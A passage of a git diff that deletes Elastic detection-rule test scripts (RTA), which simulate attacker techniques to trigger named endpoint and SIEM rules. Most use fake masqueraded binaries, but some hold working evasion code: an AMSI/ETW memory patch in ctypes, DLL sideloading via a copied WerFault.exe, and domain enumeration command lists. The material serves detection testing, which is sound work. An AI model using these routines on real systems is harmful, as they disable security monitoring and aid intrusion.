DIAG Dylib Load Event", - "rule_id": "2df75424-4106-43c5-8fea-f115e18588da", - }, - { - "rule_name": "Dylib Injection via Process Environment Variables", - "rule_id": "246741d4-3eee-4fbb-beec-53ef562c62c3", - }, - { - "rule_name": "Potential Binary Masquerading via Invalid Code Signature", - "rule_id": "4154c8ce-c718-4641-80db-a6a52276f1a4", - }, - ], - siem=[], - techniques=["T1574", "T1574.006"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - if platform.processor() == "arm": - name = "com.apple.sleep_arm" - dylib = "inject_arm.dylib" - else: - name = "com.apple.sleep_intel" - dylib = "inject_intel.dylib" - target_bin = common.get_path("bin", name) - common.execute([f"DYLD_INSERT_LIBRARIES={dylib}", target_bin, "5"], kill=True, shell=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/dynwrapx_image_load.py b/rta/dynwrapx_image_load.py deleted file mode 100644 index ddde48ff0..000000000 --- a/rta/dynwrapx_image_load.py +++ /dev/null @@ -1,58 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -import time - - -metadata = RtaMetadata( - uuid="d8de8c03-d5d0-4118-8971-32439638d69f", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Dynwrapx Image Load via Windows Scripts", "rule_id": "4cd6f758-0057-4e8a-9701-20b6116c2118"}, - { - "rule_name": "Suspicious Windows Script Interpreter Child Process", - "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", - }, - ], - siem=[], - techniques=["T1055", "T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - cscript = "C:\\Users\\Public\\cscript.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\dynwrapx.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, cscript) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "dynwrapx.dll"]) - - common.log("Loading dynwrapx.dll into fake cscript") - common.execute([cscript, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - # No idea on why, but after a lot of headaches, I discovered that the dll.pe.original_file_name - # is only populated if I delay the removal of the dll file - time.sleep(5) - common.remove_files(cscript, dll, ps1, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/echo_tmp_file_create.py b/rta/echo_tmp_file_create.py deleted file mode 100644 index d6d80ec62..000000000 --- a/rta/echo_tmp_file_create.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2182f7e5-fc4b-4476-86c3-e7128dfcaa7a", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Suspicious File Overwrite and Modification via Echo", - "rule_id": "cd3a06dc-58c3-4d57-a03a-0d8991f237e7", - } - ], - siem=[], - techniques=["T1027", "T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - file_path = "/tmp/test" - masquerade = "/tmp/testbin" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake bash commands to abnormal echo shell commands") - command = f"bash -c 'echo* > {file_path}'" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(file_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/edmond_child_process.py b/rta/edmond_child_process.py deleted file mode 100644 index fe373c4e5..000000000 --- a/rta/edmond_child_process.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="58041706-c636-4043-b221-3d59f977b7e2", - platforms=["macos"], - endpoint=[{"rule_name": "Potential Persistence via Emond", "rule_id": "1cd247d8-00e8-4c62-b9ee-90cd1811460b"}], - siem=[{"rule_name": "Suspicious Emond Child Process", "rule_id": "3e3d15c6-1509-479a-b125-21718372157e"}], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/emond" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching bash from fake emond command") - common.execute([masquerade], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/eggshell_backdoor.py b/rta/eggshell_backdoor.py deleted file mode 100644 index c98d499ee..000000000 --- a/rta/eggshell_backdoor.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="be090f8e-dc7b-41eb-9c7e-74a0aed0dad1", - platforms=["macos", "linux"], - endpoint=[{"rule_name": "EggShell Backdoor Execution", "rule_id": "feed7842-34a6-4764-b858-6e5ac01a5ab7"}], - siem=[{"rule_name": "EggShell Backdoor Execution", "rule_id": "41824afb-d68c-4d0e-bfee-474dac1fa56e"}], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/eggshell" - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands for EggShell backdoor behavior") - common.execute([masquerade, "eyJkZWJ1ZyI6test"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/eicar.py b/rta/eicar.py deleted file mode 100644 index d3794dd06..000000000 --- a/rta/eicar.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="c8efd8c9-b32c-482a-90ff-f2d366a2af45", - platforms=["macos", "linux", "windows"], - endpoint=[{"rule_id": "c4539c79-9f55-4b36-b06f-8aff82563bca", "rule_name": "Behavior Protection - EICAR"}], - siem=[], - techniques=["TA0002"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/bash" - if common.CURRENT_OS in ["linux", "macos"]: - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching behavior diag test") - common.execute([masquerade, "elastic-behavior-protection-eicar"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - else: - cmd = "C:\\Windows\\System32\\cmd.exe" - - # Execute command - common.log("Launching eicar test") - common.execute([cmd, "/c", "echo", "elastic-behavior-protection-eicar"]) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/elevated_osascript_execution.py b/rta/elevated_osascript_execution.py deleted file mode 100644 index ccc998ef9..000000000 --- a/rta/elevated_osascript_execution.py +++ /dev/null @@ -1,46 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="086c6cae-22ac-47b6-bd24-85b33d8cf3a2", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Elevated Apple Script Execution via Unsigned Parent", - "rule_id": "f17c8dcf-d65f-479a-b047-3558233f774e", - } - ], - siem=[ - { - "rule_name": "Apple Scripting Execution with Administrator Privileges", - "rule_id": "827f8d8f-4117-4ae4-b551-f56d54b9da6b", - } - ], - techniques=["T1078", "T1548", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/bash" - common.copy_macos_masquerade(masquerade) - - # Execute commands - common.log("Launching fake osascript commands to mimic apple script execution") - command = "osascript with administrator privileges" - common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/emond_child_process.py b/rta/emond_child_process.py deleted file mode 100644 index bfd89efb5..000000000 --- a/rta/emond_child_process.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d1988e82-a079-4fc2-99f7-2bdbc9af0e00", - platforms=["macos"], - endpoint=[{"rule_name": "Potential Persistence via Emond", "rule_id": "1cd247d8-00e8-4c62-b9ee-90cd1811460b"}], - siem=[{"rule_name": "Suspicious Emond Child Process", "rule_id": "3e3d15c6-1509-479a-b125-21718372157e"}], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/emond" - masquerade2 = "/tmp/bash" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - - # Execute commands - common.log("Launching fake emond commands to mimic spawning child process.") - common.execute([masquerade, "childprocess", masquerade2], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/emond_plist.py b/rta/emond_plist.py deleted file mode 100644 index 349bd34b8..000000000 --- a/rta/emond_plist.py +++ /dev/null @@ -1,27 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2c186f11-d07c-4df6-8b86-bf9ffd6ca871", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Emond Rules Creation or Modification", "rule_id": "a6bf4dd4-743e-4da8-8c03-3ebd753a6c90"}], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing file modification on test.plist to mimic emond file modification") - common.temporary_file_helper("testing", file_name="/private/etc/emond.d/rules/test.plist") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/empire_stager.py b/rta/empire_stager.py deleted file mode 100644 index 74d2ac66a..000000000 --- a/rta/empire_stager.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="4d7ce5b3-f8e4-434c-9caa-c7e133146b27", - platforms=["macos", "linux"], - endpoint=[{"rule_name": "Empire Stager Execution", "rule_id": "b7974ff6-82ff-4743-9e07-1c6901b1f0ea"}], - siem=[], - techniques=["T1132", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/bash" - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake bash with base64 decode commands") - common.execute( - [masquerade, "exec(base64.b64decode*aW1wb3J0IHN5cztpbXBvcnQg)"], - timeout=10, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/enum_commands.py b/rta/enum_commands.py deleted file mode 100644 index 809534cc8..000000000 --- a/rta/enum_commands.py +++ /dev/null @@ -1,89 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Common Enumeration Commands -# RTA: enum_commands.py -# ATT&CK: T1007, T1016, T1018, T1035, T1049, T1057, T1063, T1069, T1077, T1082, T1087, T1124, T1135 -# Description: Executes a list of administration tools commonly used by attackers for enumeration. - -import argparse -import random - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9b19f4a3-7287-45d2-ab0f-9a9c0b1bc8e1", - platforms=["windows"], - endpoint=[], - siem=[ - {"rule_id": "7b8bfc26-81d2-435e-965c-d722ee397ef1", "rule_name": "Windows Network Enumeration"}, - {"rule_id": "871ea072-1b71-4def-b016-6278b505138d", "rule_name": "Enumeration of Administrator Accounts"}, - ], - techniques=["T1135", "T1069", "T1087", "T1018"], -) - - -@common.requires_os(*metadata.platforms) -def main(args=None): - slow_commands = ["gpresult.exe /z", "systeminfo.exe"] - - commands = [ - "ipconfig /all", - "net localgroup administrators", - "net user", - "net user administrator", - "net user /domain" "tasklist", - "net view", - "net view /domain", - "net view \\\\%s" % common.get_ip(), - "netstat -nao", - "whoami", - "hostname", - "net start", - "tasklist /svc", - "net time \\\\%s" % common.get_ip(), - "net use", - "net view", - "net start", - "net accounts", - "net localgroup", - "net group", - 'net group "Domain Admins" /domain', - "net share", - "net config workstation", - ] - - commands.extend(slow_commands) - - parser = argparse.ArgumentParser() - parser.add_argument( - "-s", - "--sample", - dest="sample", - default=len(commands), - type=int, - help="Number of commands to run, chosen at random from the list of enumeration commands", - ) - args = parser.parse_args(args) - sample = min(len(commands), args.sample) - - if sample < len(commands): - random.shuffle(commands) - - common.log("Running {} out of {} enumeration commands\n".format(sample, len(commands))) - for command in commands[0:sample]: - - common.log("About to call {}".format(command)) - if command in slow_commands: - common.execute(command, kill=True, timeout=15) - common.log("[output suppressed]", log_type="-") - else: - common.execute(command) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/enumeration_linpeas.py b/rta/enumeration_linpeas.py deleted file mode 100644 index 7018d5aa2..000000000 --- a/rta/enumeration_linpeas.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="b88c08af-eee5-4683-a56a-36e91e6386d5", - platforms=["macos", "linux"], - endpoint=[ - { - "rule_name": "Privilege Escalation Enumeration via LinPEAS", - "rule_id": "92bb2a27-745b-4291-90a1-b7b654df1379", - }, - ], - siem=[], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/sed" - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) - - common.log("Executing fake sed command for LinPEAS behavior.") - common.execute([masquerade, "testImPoSSssSiBlEeetest"], timeout=5, kill=True, shell=True) # noqa: S604 - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/env_variable_hijacking.py b/rta/env_variable_hijacking.py deleted file mode 100644 index f8ae76092..000000000 --- a/rta/env_variable_hijacking.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a18454da-5f28-4223-95d6-5dc1f58c861a", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Modification of Environment Variable via Launchctl", - "rule_id": "7453e19e-3dbf-4e4e-9ae0-33d6c6ed15e1", - } - ], - techniques=["T1574"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/launchctl" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake launchctl command to mimic env variable hijacking") - common.execute([masquerade, "setenv"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/evasion_addinproc_certoc_odbc_gfxdwn.py b/rta/evasion_addinproc_certoc_odbc_gfxdwn.py deleted file mode 100644 index fc885368e..000000000 --- a/rta/evasion_addinproc_certoc_odbc_gfxdwn.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6e84852e-b8a2-4158-971e-c5148d969d2a", - platforms=["windows"], - siem=[], - endpoint=[ - {'rule_id': '5bc7a8f8-4de8-4af4-bea4-cba538e54a5c', 'rule_name': 'Suspicious Execution via DotNet Remoting'}, - {'rule_id': '6fcbf73f-4413-4689-be33-61b0d6bd0ffc', 'rule_name': 'Suspicious ImageLoad via Windows CertOC'}, - {'rule_id': '1faebe83-38d7-4390-b6bd-9c6b851e47c4', 'rule_name': 'Suspicious ImageLoad via ODBC Driver Configuration Program'}, - {'rule_id': 'aafe3c78-15d9-4853-a602-663b8fada5b5', 'rule_name': 'Potential Evasion via Intel GfxDownloadWrapper'}], - techniques=['T1218', 'T1218.008', 'T1105'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - addinproc = "C:\\Users\\Public\\AddInProcess.exe" - certoc = "C:\\Users\\Public\\CertOc.exe" - odbc = "C:\\Users\\Public\\odbcconf.exe" - gfxdwn = "C:\\Users\\Public\\GfxDownloadWrapper.exe" - - common.copy_file(EXE_FILE, addinproc) - common.copy_file(EXE_FILE, certoc) - common.copy_file(EXE_FILE, odbc) - common.copy_file(EXE_FILE, gfxdwn) - - # Execute command - common.execute([addinproc, "/guid:32a91b0f-30cd-4c75-be79-ccbd6345de99", "/pid:123"], timeout=10) - common.execute([certoc, "-LoadDLL"], timeout=10) - common.execute([odbc, "-a", "-f"], timeout=10) - common.execute([gfxdwn, "run", "2", "0"], timeout=10) - - # Cleanup - common.remove_file(addinproc) - common.remove_file(certoc) - common.remove_file(odbc) - common.remove_file(gfxdwn) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/evasion_loadlib_via_callback.py b/rta/evasion_loadlib_via_callback.py deleted file mode 100644 index c4be1ac25..000000000 --- a/rta/evasion_loadlib_via_callback.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="ae4b2807-3a16-485e-bb69-5d36bbe9b7d1", - platforms=["windows"], - siem=[], - endpoint=[{"rule_id": "fae9f554-d3bc-4d48-8863-54d0dd68db54", "rule_name": "Library Loaded via a CallBack Function"}], - techniques=["T1574"], -) - -# testing PE that will load ws2_32 and dnsapi.dll via a Callback function using RtlQueueWorkItem and RtlRegisterWait -# source code - https://gist.github.com/joe-desimone/0b2bb00eca4c522ba0bd5541a6f3528b -BIN = common.get_path("bin", "LoadLib-Callback64.exe") - -@common.requires_os(*metadata.platforms) - -def main(): - if Path(BIN).is_file(): - print(f'[+] - File {BIN} will be executed') - common.execute(BIN) - # cleanup - common.execute(["taskkill", "/f", "/im", "LoadLib-Callback64.exe"]) - print(f'[+] - RTA Done!') - -if __name__ == "__main__": - exit(main()) diff --git a/rta/evasion_ntdll_from_unusual_path.py b/rta/evasion_ntdll_from_unusual_path.py deleted file mode 100644 index 23a7de872..000000000 --- a/rta/evasion_ntdll_from_unusual_path.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="e6d5315f-4c70-4788-8564-e7c23786a4d0", - platforms=["windows"], - endpoint=[{"rule_name": "NTDLL Loaded from an Unusual Path", "rule_id": "3205274e-7eb0-4765-a712-5783361091ae"}], - siem=[], - techniques=["T1055"], -) - - - -@common.requires_os(*metadata.platforms) -def main(): - import time - from os import path - - import win32api - import win32file - win32file.CopyFile(path.expandvars("%systemroot%\\system32\\ntdll.dll"), path.expandvars("%localappdata%\\Temp\\notntdll.dll"), 0) - if Path(path.expandvars("%localappdata%\\Temp\\notntdll.dll")).is_file(): - print(f"[+] - NTDLL copied") - r = win32api.LoadLibrary(path.expandvars("%localappdata%\\Temp\\notntdll.dll")) - if r > 0 : - print(f"[+] - NTDLL copy loaded") - time.sleep(1) - win32api.FreeLibrary(r) - win32file.DeleteFile(path.expandvars("%localappdata%\\Temp\\notntdll.dll")) - print(f'[+] - NTDLL copy deleted') - else : - print('f[+] - Failed to load ntdll') - -if __name__ == "__main__": - exit(main()) - diff --git a/rta/evasion_oversized_dll_load.py b/rta/evasion_oversized_dll_load.py deleted file mode 100644 index 23bfaf7e4..000000000 --- a/rta/evasion_oversized_dll_load.py +++ /dev/null @@ -1,68 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="ec52377c-b2a8-4c44-8eb4-465376f2189a", - platforms=["windows"], - siem=[], - endpoint=[ - {"rule_id": "33cdad6c-5809-4d78-94f0-5a5153289e7e", "rule_name": "Oversized DLL Creation followed by SideLoad"}, - {"rule_id": "65a402ff-904b-4d14-b7aa-fa0c5ae575f8", "rule_name": "Potential Evasion via Oversized Image Load"}, - {"rule_id": "b58a6662-cc72-4c1c-a24e-703427f3b725", "rule_name": "Rundll32 or Regsvr32 Executing an OverSized File"}, - {"rule_id": "d84090d7-91e4-4063-84c1-c1f410dd717b", "rule_name": "DLL Side Loading via a Copied Microsoft Executable"}, - {"rule_id": "901f0c30-a7c5-40a5-80e3-a50c6744632f", "rule_name": "RunDLL32/Regsvr32 Loads Dropped Executable"}, - ], - techniques=["T1027", "T1574"], -) - -# testing DLL that will spawn notepad once DllMain is invoked -DLL = common.get_path("bin", "faultrep.dll") - -# we will copy WerFault.exe to temp to sideload our testing DLL faultrep.dll -WER = "c:\\windows\\system32\\werfault.exe" - - -@common.requires_os(*metadata.platforms) -def main(): - import os - from os import path - - import win32file - if Path(DLL).is_file(): - tempc = path.expandvars("%localappdata%\\Temp\\oversized.dll") - rta_dll = path.expandvars("%localappdata%\\Temp\\faultrep.dll") - rta_pe = path.expandvars("%localappdata%\\Temp\\wer.exe") - # copy files to temp - win32file.CopyFile(DLL,tempc, 0) - win32file.CopyFile(WER, rta_pe, 0) - if Path(tempc).is_file(): - print(f"[+] - {DLL} copied to {tempc}") - print(f"[+] - File {tempc} will be appended with null bytes to reach 90MB in size.") - # append null bytes to makde the DLL oversized 90+MB in size - with open(tempc, 'rb+') as binfile: - binfile.seek(100000000) - binfile.write(b'\x00') - - # copied via cmd to trigger the rule - python is signed and won't trigger the file mod part of the rule - common.execute(["cmd.exe", "/c", "copy", tempc, rta_dll]) - if Path(rta_dll).is_file() and Path(rta_pe).is_file(): - # should trigger rundll32 rules - common.execute(["rundll32.exe", rta_dll, "DllMain"]) - # should trigger dll sideload from current dir - common.execute(rta_pe) - # cleanup - common.execute(["taskkill", "/f", "/im", "notepad.exe"]) - print(f'[+] - Cleanup.') - win32file.DeleteFile(tempc) - win32file.DeleteFile(rta_dll) - win32file.DeleteFile(rta_pe) - print(f'[+] - RTA Done!') - -if __name__ == "__main__": - exit(main()) diff --git a/rta/evasion_patch_etw_amsi.py b/rta/evasion_patch_etw_amsi.py deleted file mode 100644 index 3b64b4dc1..000000000 --- a/rta/evasion_patch_etw_amsi.py +++ /dev/null @@ -1,82 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="395d0e4c-e7f5-4c77-add7-92b1d2ba169e", - platforms=["windows"], - siem=[], - endpoint=[{"rule_id": "586bf106-b208-45fc-9401-727664175ca0", "rule_name": "Potential AMSI Bypass via Memory Patching"}, - {"rule_id": "3046168a-91cb-4ecd-a061-b75b1df1c107", "rule_name": "Potential Evasion via Event Tracing Patching"}], - techniques=["T1562.001"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - import ctypes, platform - from ctypes import windll, wintypes - - kernel32 = windll.kernel32 - - LoadLibraryA = kernel32.LoadLibraryA - LoadLibraryA.argtypes = [wintypes.LPCSTR] - LoadLibraryA.restype = wintypes.HMODULE - - GetProcAddress = kernel32.GetProcAddress - GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR] - GetProcAddress.restype = ctypes.c_void_p - - VirtualProtect = kernel32.VirtualProtect - VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD] - VirtualProtect.restype = wintypes.BOOL - - GetCurrentProcess = kernel32.GetCurrentProcess - GetCurrentProcess.restype = wintypes.HANDLE - - WriteProcessMemory = kernel32.WriteProcessMemory - WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID] - WriteProcessMemory.restype = wintypes.BOOL - - GetModuleHandleA = kernel32.GetModuleHandleA - GetModuleHandleA.restype = wintypes.HANDLE - GetModuleHandleA.argtypes = [wintypes.LPCSTR] - - RWX = 0x40 # PAGE_READ_WRITE_EXECUTE - OLD_PROTECTION = wintypes.LPDWORD(ctypes.c_ulong(0)) - - if platform.architecture()[0] == '64bit': - print(f'[+] using x64 based patch') - patch = (ctypes.c_char * 6)(0x90, 0x90, 0x90, 0x90, 0x90, 0x90) - if platform.architecture()[0] != '64bit': - print(f'[+] using x86 based patch') - patch = (ctypes.c_char * 8)(0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90) - - lib = LoadLibraryA(b"amsi.dll") - if lib: - print(f'[+] Loaded amsi.dll at {hex(lib)}') - - amsi = GetProcAddress(lib, b"AmsiScanBuffer") - etw = GetProcAddress(GetModuleHandleA(b"ntdll.dll"), b"EtwNotificationRegister") - if amsi and etw: - print(f'[+] Address of AmsiScanBuffer(): {hex(amsi)}') - print(f'[+] Address of EtwEventWrite(): {hex(etw)}') - - amsi_rwx = VirtualProtect(amsi, ctypes.sizeof(patch), RWX, OLD_PROTECTION) - etw_rwx = VirtualProtect(etw, ctypes.sizeof(patch), RWX, OLD_PROTECTION) - if amsi_rwx and etw_rwx: - print(f'[+] Changed Proctection of AmsiScanBuffer and EtwNotificationRegister to RWX') - - c_null = ctypes.c_int(0) - amsi_bypass = WriteProcessMemory(GetCurrentProcess(), amsi, patch, ctypes.sizeof(patch), ctypes.byref(c_null)) - etw_bypass = WriteProcessMemory(GetCurrentProcess(), etw, patch, ctypes.sizeof(patch), ctypes.byref(c_null)) - if amsi_bypass and etw_bypass: - print(f'[*] RTA Done - Patched AmsiScanBuffer & EtwNotificationRegister!') - -if __name__ == "__main__": - exit(main()) diff --git a/rta/evasion_unhook_ldrloaddll.py b/rta/evasion_unhook_ldrloaddll.py deleted file mode 100644 index 73e77bfac..000000000 --- a/rta/evasion_unhook_ldrloaddll.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="7fcf2f31-b510-45f8-9de4-7dc8f5ecb68b", - platforms=["windows"], - siem=[], - endpoint=[{"rule_id": "d7bc9652-fe82-4fb3-8a48-4a9289c840f8", "rule_name": "Potential NTDLL Memory Unhooking"}, - {"rule_id": "2c4f5a78-a64f-4fcf-ac52-bf91fd9b82c8", "rule_name": "Suspicious Image Load via LdrLoadDLL"}, - {"rule_id": "703343f1-095a-4a5a-9bf4-5338db06ecb8", "rule_name": "Process Creation from Modified NTDLL"}], - techniques=["T1055"], -) - -# testing PE that will first unhook ntdll txt section and load ws2_32.dll, create notepad.exe from unhooked ntdll then load psapi.dll via LdrLoadDll -# source code -https://gist.github.com/Samirbous/cee44dbd0254c28d4f57709d5c723aee -BIN = common.get_path("bin", "rta_unhook_ldrload.exe") - 